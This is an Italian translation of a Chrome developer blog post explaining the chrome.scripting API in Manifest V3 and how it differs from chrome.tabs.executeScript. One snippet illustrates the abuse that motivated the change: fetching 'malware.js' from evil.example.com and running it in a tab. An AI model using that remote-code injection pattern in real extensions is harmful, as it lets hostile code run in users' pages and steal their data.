Novità: chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 introduce una serie di modifiche alla piattaforma di estensioni di Chrome, In questo post, analizzeremo le motivazioni e i cambiamenti introdotti da uno dei cambiamenti più importanti: l'introduzione dell'API chrome.scripting.

Che cos'è chrome.scripting?

Come potrebbe suggerire il nome, chrome.scripting è un nuovo spazio dei nomi introdotto in Manifest V3, responsabile delle funzionalità di inserimento di script e stile.

Gli sviluppatori che hanno creato estensioni di Chrome in passato potrebbero avere familiarità con i metodi Manifest V2 nell'API Tabs come chrome.tabs.executeScript e chrome.tabs.insertCSS. Questi metodi consentono alle estensioni di inserire script e fogli di stile nelle pagine. In Manifest V3, queste funzionalità sono state spostate in chrome.scripting e prevediamo di espandere questa API con alcune nuove funzionalità in futuro.

Perché creare una nuova API?

Con un cambiamento di questo tipo, una delle prime domande che tende a sorgere è: "Perché?"

Alcuni fattori diversi hanno portato il team di Chrome a decidere di introdurre un nuovo spazio dei nomi per lo scripting. Innanzitutto, l'API Tabs è un piccolo cassetto di posta indesiderata per le funzionalità. Poi, dovevamo apportare delle modifiche all'API executeScript esistente. Terzo, sapevamo di voler ampliare le funzionalità di scripting per le estensioni. Insieme, questi problemi hanno chiaramente definito la necessità di un nuovo spazio dei nomi per ospitare funzionalità di scripting.

Il cassetto della spazzatura

Uno dei problemi che ha turbato il team addetto alle estensioni negli ultimi anni è il sovraccarico dell'API chrome.tabs. Quando questa API è stata introdotta per la prima volta, la maggior parte delle funzionalità fornite era correlata al concetto generico di scheda del browser. Anche a quel punto, però, era una sorta di raccolta di caratteristiche e nel corso degli anni questa collezione è cresciuta.

Al momento del rilascio di Manifest V3, l'API Tabs era cresciuta fino a includere la gestione di base delle schede, la selezione, l'organizzazione delle finestre, la messaggistica, il controllo dello zoom, la navigazione di base, lo script e alcune altre funzionalità più piccole. Sebbene siano tutti importanti, può essere un po' impegnativo per gli sviluppatori quando sono all'inizio e per il team di Chrome, mentre gestiamo la piattaforma e teniamo conto delle richieste della community degli sviluppatori.

Un altro fattore di complicazione è che l'autorizzazione tabs non è ben comprensibile. Sebbene molte altre autorizzazioni limitino l'accesso a una determinata API (ad es. storage), questa autorizzazione è un po' insolita in quanto concede all'estensione l'accesso solo a proprietà sensibili nelle istanze Tab (e, per estensione, influisce anche sull'API Windows). Comprensibilmente, molti sviluppatori di estensioni pensano erroneamente di avere bisogno di questa autorizzazione per accedere a metodi nell'API Tabs come chrome.tabs.create o, più in generale, chrome.tabs.executeScript. Lo spostamento della funzionalità all'esterno dell'API Tabs aiuta a eliminare questa confusione.

Modifiche che provocano un errore

Durante la progettazione di Manifest V3, uno dei problemi principali che volevamo risolvere era l'abuso e il malware abilitato per "codice ospitato da remoto", ovvero codice eseguito ma non incluso nel pacchetto di estensioni. È frequente che gli autori di estensioni illecite eseguano script recuperati da server remoti per sottrarre i dati degli utenti, inserire malware ed eludere il rilevamento. Anche se i buoni aggressori usano questa capacità, in definitiva abbiamo ritenuto che fosse troppo pericolosa per non rimanere così com'era.

Esistono un paio di modi diversi in cui le estensioni possono eseguire codice non in bundle, ma quello pertinente è il metodo chrome.tabs.executeScript di Manifest V2. Questo metodo consente a un'estensione di eseguire una stringa di codice arbitraria in una scheda di destinazione. Questo, a sua volta, significa che uno sviluppatore malintenzionato può recuperare uno script arbitrario da un server remoto ed eseguirlo all'interno di qualsiasi pagina a cui l'estensione possa accedere. Sapevamo che, per risolvere il problema del codice remoto, avremmo dovuto abbandonare questa funzionalità.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Volevamo inoltre risolvere altri problemi più discreti relativi al design della versione Manifest V2 e rendere l'API uno strumento più raffinato e prevedibile.

Anche se avremmo potuto cambiare la firma di questo metodo nell'API Tabs, abbiamo ritenuto che tra queste modifiche che provocano un errore e l'introduzione di nuove funzionalità (trattate nella prossima sezione), un'interruzione pulita sarebbe stata più semplice per tutti.

Espansione delle funzionalità di scripting

Un'altra considerazione alimentata nel processo di progettazione di Manifest V3 era il desiderio di introdurre funzionalità di script aggiuntive nella piattaforma di estensioni di Chrome. Nello specifico, volevamo aggiungere il supporto per gli script di contenuti dinamici e ampliare le funzionalità del metodo executeScript.

Il supporto degli script di contenuti dinamici è da tempo una richiesta di funzionalità in Chromium. Attualmente, le estensioni di Chrome Manifest V2 e V3 possono dichiarare gli script di contenuti solo in modo statico nel file manifest.json. La piattaforma non offre un modo per registrare nuovi script di contenuti, modificare la registrazione degli script di contenuti o annullare la registrazione di script di contenuti in fase di runtime.

Sebbene sapessimo di voler soddisfare questa richiesta di funzionalità in Manifest V3, nessuna delle nostre API esistenti ci sembrava la soluzione giusta. Abbiamo anche preso in considerazione l'allineamento con Firefox nell'API Content Scripts, ma molto presto abbiamo identificato un paio di principali svantaggi di questo approccio. Innanzitutto, sapevamo che avremmo avuto firme incompatibili (ad esempio, avremmo interrotto il supporto della proprietà code). In secondo luogo, la nostra API aveva un insieme diverso di vincoli di progettazione (ad esempio, la necessità di una registrazione per durare oltre il ciclo di vita di un service worker). Infine, lo spazio dei nomi ci permette anche di eseguire gli script di contenuti in modo più ampio.

Per quanto riguarda executeScript, volevamo anche ampliare le funzionalità dell'API rispetto a quelle supportate dalla versione dell'API Tabs. In particolare, volevamo supportare funzioni e argomenti, scegliere come target più facilmente frame specifici e scegliere come target contesti non "tab".

In futuro, stiamo anche considerando in che modo le estensioni possono interagire con le PWA installate e altri contesti che non sono concettualmente mappati alle "schede".

Modifiche tra tabulazioni.executeScript e scripting.executeScript

Nel resto di questo post, guarderò più da vicino le somiglianze e le differenze tra chrome.tabs.executeScript e chrome.scripting.executeScript.

Inserimento di una funzione con argomenti

Pensando a come la piattaforma avrebbe dovuto evolversi alla luce delle restrizioni relative al codice ospitato in remoto, volevamo trovare un equilibrio tra la potenza non elaborata dell'esecuzione arbitraria di codice e la possibilità di consentire solo script di contenuti statici. La soluzione che abbiamo trovato è stata quella di consentire alle estensioni di inserire una funzione come script di contenuti e di passare un array di valori come argomenti.

Diamo una rapida occhiata a un esempio (molto semplificato). Supponiamo che tu voglia inserire uno script che accolga l'utente per nome quando fa clic sul pulsante di azione dell'estensione (icona nella barra degli strumenti). In Manifest V2 potremmo creare dinamicamente una stringa di codice ed eseguire lo script nella pagina corrente.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Anche se le estensioni Manifest V3 non possono utilizzare codice non in bundle con l'estensione, il nostro obiettivo era preservare parte del dinamismo dovuto ai blocchi di codice arbitrari abilitati per le estensioni Manifest V2. L'approccio basato su funzioni e argomenti consente ai revisori, agli utenti e ad altre parti interessate di Chrome Web Store di valutare in modo più accurato i rischi rappresentati da un'estensione, permettendo al contempo agli sviluppatori di modificare il comportamento di runtime di un'estensione in base alle impostazioni utente o allo stato dell'applicazione.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Frame di targeting

Volevamo anche migliorare il modo in cui gli sviluppatori interagiscono con i frame nell'API aggiornata. La versione Manifest V2 di executeScript consentiva agli sviluppatori di scegliere come target tutti i frame di una scheda o un frame specifico nella scheda. Puoi utilizzare chrome.webNavigation.getAllFrames per ottenere un elenco di tutti i frame in una scheda.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3 abbiamo sostituito la proprietà intera facoltativa frameId nell'oggetto opzioni con un array frameIds facoltativo di numeri interi. In questo modo gli sviluppatori possono scegliere come target più frame in una singola chiamata API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Risultati dell'iniezione di script

Abbiamo anche migliorato la modalità di restituzione dei risultati di iniezione degli script in Manifest V3. Un "risultato" è fondamentalmente l'affermazione finale valutata in uno script. È come il valore restituito quando chiami eval() o esegui un blocco di codice nella console Chrome DevTools, ma serializzato per passare i risultati tra i processi.

In Manifest V2, executeScript e insertCSS restituiranno un array di risultati di esecuzione semplici. Questo non è un problema se hai un solo punto di inserimento, ma l'ordine dei risultati non è garantito quando si inseriscono in più frame, quindi non è possibile capire quale risultato è associato a quale frame.

Per un esempio concreto, diamo un'occhiata agli array results restituiti da un file Manifest V2 e una versione Manifest V3 della stessa estensione. Entrambe le versioni dell'estensione iniettano lo stesso script di contenuti e confronteremo i risultati sulla stessa pagina demo.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Quando eseguiamo la versione Manifest V2, riceviamo un array di [1, 0, 5]. Quale risultato corrisponde al frame principale e quale all'iframe? Il valore restituito non ci comunica, quindi non ne sappiamo con certezza.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Nella versione Manifest V3, results ora contiene un array di oggetti risultato invece di un array dei soli risultati della valutazione. Gli oggetti risultato identificano chiaramente l'ID del frame per ogni risultato. In questo modo, per gli sviluppatori è molto più facile utilizzare i risultati e intervenire su un frame specifico.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusione

I picchi nella versione manifest offrono una rara opportunità per ripensare e modernizzare le API delle estensioni. Con Manifest V3 il nostro obiettivo è migliorare l'esperienza dell'utente finale rendendo più sicure le estensioni e migliorando al contempo l'esperienza degli sviluppatori. Con l'introduzione di chrome.scripting in Manifest V3, siamo stati in grado di aiutare a ripulire l'API Tabs, a reinventare executeScript per una piattaforma di estensioni più sicura e a gettare le basi per nuove funzionalità di scripting che saranno in arrivo entro la fine dell'anno.